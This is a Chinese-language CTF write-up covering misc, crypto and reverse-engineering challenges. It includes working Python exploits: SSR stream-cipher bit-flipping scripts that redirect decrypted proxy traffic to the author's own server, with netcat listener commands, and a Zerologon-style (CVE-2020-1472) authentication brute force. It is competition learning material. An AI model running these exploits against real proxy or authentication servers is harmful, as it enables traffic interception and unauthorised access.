和队友一起拿了两万分,完美收尾。
逆向挺难的,不过ak了密码学就很舒服。
本文只放出我负责部分的题解,我们队的题解可以去群里下载。
Misc
出个流量分析吧
过滤条件http contains flag
出个LSB吧
lsb提取二维码
Crypto
classical
维吉尼亚密码,没有密钥,只能词频分析。
https://www.guballa.de/vigenere-solver
SSR
预测出原有流量的一小段明文(本题是流量包的前7字节,因为[0x1(1B) + ip(4B) + port(2B)]),利用流加密的缺陷,通过异或把AESCFB(Ci-1)消掉,伪造出明文,使服务器错误解析流量包,将流量包转发到我们的服务器上。
知识点太大了,我有时间写一篇博文。这里就不过多展开了。
这里只说一个大坑:
curl是本地解析域名,然后传给ssr代理,使用的头部是[0x1 + ip(4B) + port(2B)],而浏览器是直接把域名传给ssr,域名由ssserver所在的服务器解析,使用的头部是[0x3 + len(域名) + 域名 + port(2B)]
我一开始伪造的明文选用了0x3的这种。如果凡哥真的是用浏览器打开的iv4n.cc,那么我伪造的时候,我的域名不可以超过iv4n.cc的长度(不然你就没法伪造多余部分的明文了啊)。幸好我刚好有个iyzy.cc的闲置域名。然而还是没打通。
最后想了想,请求的那个包只有100+的长度,浏览器默认的头部一般都400+,而且flag一般就放在头部里面。所以凡哥基本上就是用curl发出的请求。流量包里由dns解析iv4n.cc的记录也可以印证这一点。所以预测的明文就是[0x1 + iv4n.cc的ip + 80],而不是[0x3 + 0x7 + iv4n.cc + 80]
多说一句,如果凡哥真的用的是0x3这种形式的头部(我本地测试了下,直接用浏览器打开网页,选用的就是0x3这种形式的头部),那么做题的人必须手头有一个长度不长于iv4n.cc的域名。所以如果大胆一点,凡哥访问了一个类似于k.cc的域名,那么参赛者必须有个不长于k.cc的域名(不然你就没法伪造多余部分的明文了啊)。这个长度的域名售价估计上万吧。
除非,[0x3 + len(域名) + 域名 + port(2B)]后面的几个字节你仍然可以预测到。这到底能不能预测到,得去读ssr的源码,看看s5的头部的格式到底是什么样的。我只是在这里纸上谈兵罢了。
(其实我猜后面紧跟的几个字节其实就是GET / HTTP/1.1之类的,但是只是猜测的)
菜鸡表示纯密码学小白,以上如果谬误,欢迎指正~
from scapy.all import rdpcap
import socket
import time
import struct
packets = rdpcap("ss.pcapng")
# 用以筛选数据包
sport=39194
src="192.168.70.129"
#要转发的目标地址,用以接收解密后的数据
iyzyi_ip = "47.101.215.199"
iyzyi_port = 50055
# ssr服务端,题目给出
ssserver_ip = "219.219.61.234"
ssserver_port = 30005
# iv4n.cc的地址(其实是exxxxxxx.github.io的地址),流量包分析得到
iv4n_blog_ip = '185.199.111.153'
iv4n_blog_port = 80
http_packet = b''
for packet in packets:
if "TCP" in packet and packet['TCP'].payload:
#筛选一下数据包,需要sslocal返回给ssserver的数据包
if packet["IP"].src==src and packet["TCP"].sport==sport and len(packet['TCP'].payload.load)>16:
http_packet += packet['TCP'].payload.load
#分隔出16字节的随机IV和数据密文
recv_iv, recv_data=http_packet[:16], http_packet[16:]
#请求包的前7位是[\x01, ip, port],其后才是GET / HTTP/1.1
predict_data = b"\x01" + socket.inet_pton(socket.AF_INET, iv4n_blog_ip) + bytes(struct.pack('>H', iv4n_blog_port))
print(predict_data)
#在关系式 c1'=xor(c1,r) p1'=xor(p1,r) 中,predict_xor_key相当于计算r
predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])
#构造[evil address]
fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, iyzyi_ip) + bytes(struct.pack('>H', iyzyi_port))
print(fake_header)
#计算[evil address]的密文
fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])
#拼接修改后的数据
fake_data = recv_iv + fake_header + recv_data[len(fake_header):]
print(fake_data.hex())
s = socket.socket()
#将修改后的数据发送给ssserver
s.connect((ssserver_ip, ssserver_port))
s.send(fake_data)
print('Tcp sending... ')
time.sleep(1)
s.close()
# 在iyzyi的服务器上:nc -lk 50055 或者 nc -lvkp 50055
# 注意开放入端口(centos7和阿里云的防火墙同时给爷爬,坑死我了)
SSR Revenge
这题的协议是凡哥自己写的,github上有290+stars,简直tql。
和上一题没多大区别,原理是相同的,关键在于分析出这个协议的哪个地方的数据是用于表示流量转发的。
请求包有三条,第二条包的第5个字节到第10个字节共6字节吗,前四个表示ip,后2个表示端口。
然后伪造明文就行。这个位置处原有的明文是可以预测的,就是流量包中dns解析拿到的第一条ip,同时http服务的端口是80:
然后注意这题有三条发送包,是阻塞包,发送包后必须收到响应包才能发送下一条封包。
然后改改上一题的代码就行。有些注释是上一题的,我懒得改了,大家自行理解吧。
from scapy.all import rdpcap
import socket
import time
import struct
packets = rdpcap("iox.pcapng")
# 用以筛选数据包
src="192.168.0.101"
sport=24643
#要转发的目标地址,用以接收解密后的数据
iyzyi_ip = "47.101.215.199"
iyzyi_port = 50055
# ssr服务端,题目给出
ssserver_ip = "219.219.61.234"
ssserver_port = 30006
# iv4n.cc的地址(其实是exxxxxxx.github.io的地址),流量包分析得到
iv4n_blog_ip = '185.199.110.153'
iv4n_blog_port = 80
http_packet = b''
for packet in packets:
if "TCP" in packet and packet['TCP'].payload:
#筛选一下数据包,需要sslocal返回给ssserver的数据包
if packet["IP"].src==src and packet["TCP"].sport==sport and len(packet['TCP'].payload.load):
http_packet += packet['TCP'].payload.load
#print(packet['TCP'].payload.load)
#print(http_packet.hex())
#分隔出16字节的随机IV和数据密文
recv_iv, recv_data=http_packet[:8], http_packet[8:]
#请求包的前7位是[\x01, ip, port],其后才是GET / HTTP/1.1
predict_data = socket.inet_pton(socket.AF_INET, iv4n_blog_ip) + bytes(struct.pack('>H', iv4n_blog_port))
#print(predict_data)
#在关系式 c1'=xor(c1,r) p1'=xor(p1,r) 中,predict_xor_key相当于计算r
predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])
#构造[evil address]
fake_header = socket.inet_pton(socket.AF_INET, iyzyi_ip) + bytes(struct.pack('>H', iyzyi_port))
#print(fake_header)
#计算[evil address]的密文
fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])
#拼接修改后的数据
fake_data = recv_iv + fake_header + recv_data[len(fake_header):]
print(fake_data.hex())
s = socket.socket()
#将修改后的数据发送给ssserver
s.connect((ssserver_ip, ssserver_port))
s.send(fake_data[:4])
r1 = s.recv(2) # b'2\x08'
print(r1)
s.send(fake_data[4:4+10])
r2 = s.recv(10)
print(r2)
s.send(fake_data[14:])
print('Tcp sending... ')
time.sleep(1)
s.close()
# 在iyzyi的服务器上:nc -lk 50055
# 注意开放入端口(centos7和阿里云的防火墙同时给爷爬,坑死我了)
总结一下这两道题:我似乎知道GFW检测ssr流量包的方法之一了。
Challenge & Response
CVE-2020-1472
凡哥用golang仿了上面这个漏洞的利用过程。
简单来说就是aes-cfb8的iv等于0的时候,输出有256分之1的可能会是0。
import requests
session = requests.Session()
while (1):
url = 'http://219.219.61.234:30004/chall'
session.get(url)
url = 'http://219.219.61.234:30004/auth'
data = {'client_challenge' : '00000000000000000000000000000000', 'response' : '00000000000000000000000000000000'}
r = session.post(url, data)
print(r.text)
if 'SUCCESS' in r.text:
url = 'http://219.219.61.234:30004/secret'
r = session.get(url)
print(r.text)
break
# https://www.secura.com/pathtoimg.php?id=2055
# https://xz.aliyun.com/t/8367
# https://www.cnblogs.com/leestar54/p/7763366.html
re
hello world
把b[i]写成i,然后查错查了10分钟。。。。。
k = 'is_easy_right?'
#with open(r'd:\dump0', 'rb')as f:
# b = f.read()
#print(b)
b = b'*&\x121\x1a\x07\x11:-\x0f\x0e\x1aAK6C1\x00>\x16\x175\x1d\x108\x11DJ\x1b,+\x17P\x03\x04'
flag = []
for i in range(len(b)):
flag.append((b[i] ^ ord(k[i % len(k)])))
print(flag)
print(''.join(map(chr, flag)))
non_name
我记得好像是matlab解4元线性方程组,太简单了,过程没保存下来。
riscv
困死了,这题简单写一下,详细的可以过几天去我博客看。
看到题目标题就大喊不妙,risc架构以前我没接触过。
下载后ida无法打开,去google搜关键字,下个ida插件,能看汇编。
你问我怎么反编译成c的代码?洗洗睡吧,梦里有。
然后linux下strings file搜了下字符串。发现了带有提示信息的字符串。以及一个疑似是换位表的字符串,其中含有较多的空格(这个是我的突破点,后面会细说)
然后回到ida,来到correct这个字符串处。发现没有交叉引用。表示理解,毕竟只是个插件而已。但是,汇编中一定有语法能引用这个字符串。
google搜了一波,没搜到引用字符串的汇编指令。所以就行自己写个hello world,用riscv编译一下,就知道了。于是git riscv-chaintools,但是人在外地,手机热点贼差,没下成功。然后想docker下编译,装了几个docker,都报错提示缺so。
此时已经几个小时过去了,心态开始爆炸。
然后找到了一个在线编译的网站,终于得知了字符串引用的汇编指令:
就是利用lui和addi的组合拳。
知道如何引用的字符串地址后,可以轻松定位到验证逻辑。
然后发现走了34次if。
我心想,这种新架构,而且放在了Medium里面,学长应该不会出太难的逻辑吧,估计就是个z3之类的。就和队友说,今晚做出这道题再睡。
然后这一晚就没睡了。
然后就是在验证逻辑的附近找向上的跳转,因为你的输入总得遍历一次吧。
前面两处比较好分析,但是下面这个实在是没分析出来:
主要是,这几个栈内变量,多次使用,也没法动调,根本分析不动。
逻辑就在面前了,就几百行汇编,但就是死活没看懂。有个48*(i+1),也有个49*(i+1),i在有的跳转中会加一。
感觉问题的关键就在于我前面说的那个逻辑:
有点像跳转的分发器,有的走48的分支,有的走49的分支。
第二天在火车上想了一天。
最后的的突破点在BpmvcuriVayeQLIKJ f U2 l od Z hx 5 _T s t{ k 7F n Ej X C} O AN w D8 Y bq 9 gP W 63 G MR 4 Sz H 这串字符串上。
为什么都是两个空格呢,就很奇怪。
二叉树的叶节点!!!!!!!!!!!
我马上画了半颗树,算了下cumt的c的值,不管是左边的权值是48*deep还是49*deep,都算不对。
然后算了下flag的f的值,481 + 48 2 + ... + 48 15 + 49 16 = 6544
而第一次check的值是(2 << 12) -1648 = 6544
芜湖,起飞!!!!!!!!!!!!!!!!
la = [2,2,1,0,1,0,1,1,1,1,2,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,1,0,2,1,0,0,1]
#print(len(la))
lb = [-1648, -1633, -0x790, 0x1e4, -0x155, 0x1e4, -0x77f, -0x77f, 0x68e, -0x154, -0x680, 0x3be, 0, 0x3cb, -0x154, 0x3f0, -0x3a0, 0x120, 0x1e3, 0x3f0, 0x3cb, -0x3a0, -0x154, 0x2d5, 0x547, 0x2d5, -0x5b0, -0x154, 0x122, -0x661, 0x129, 0x1e0, 0x6c0, -0x788]
#print(len(lb))
def get_num(a, b):
return (a << 12) + b
lc = [get_num(la[i], lb[i]) for i in range(len(la))]
#print(lc)
i = 0
dic = {}
#with open(r'd:\dump', 'rb')as f:
# b = f.read()
#print(b)
table = b'BpmvcuriVayeQLIKJ f U2 l od Z hx 5 _T s t{ k 7F n Ej X C} O AN w D8 Y bq 9 gP W 63 G MR 4 Sz H '
def dfs(deep, value):
global i, dic
if i < len(table):
i += 1
if table[i-1] != 32:
dic[value] = table[i-1]
dfs(deep+1, 48 * (deep+1) + value)
dfs(deep+1, 49 * (deep+1) + value)
dfs(0, 0)
for i in lc:
print(chr(dic[i]),end='')
riscv架构里面考察算法,这难度。。。
不过此刻,我大概懂学长为啥把这题归在Medium里面了。我估计他很有可能刻意地没有对二叉树字符串进行加密存储,故意留了这个当作突破点。
要是真的把二叉树字符串藏起来。我必然做不出这道题。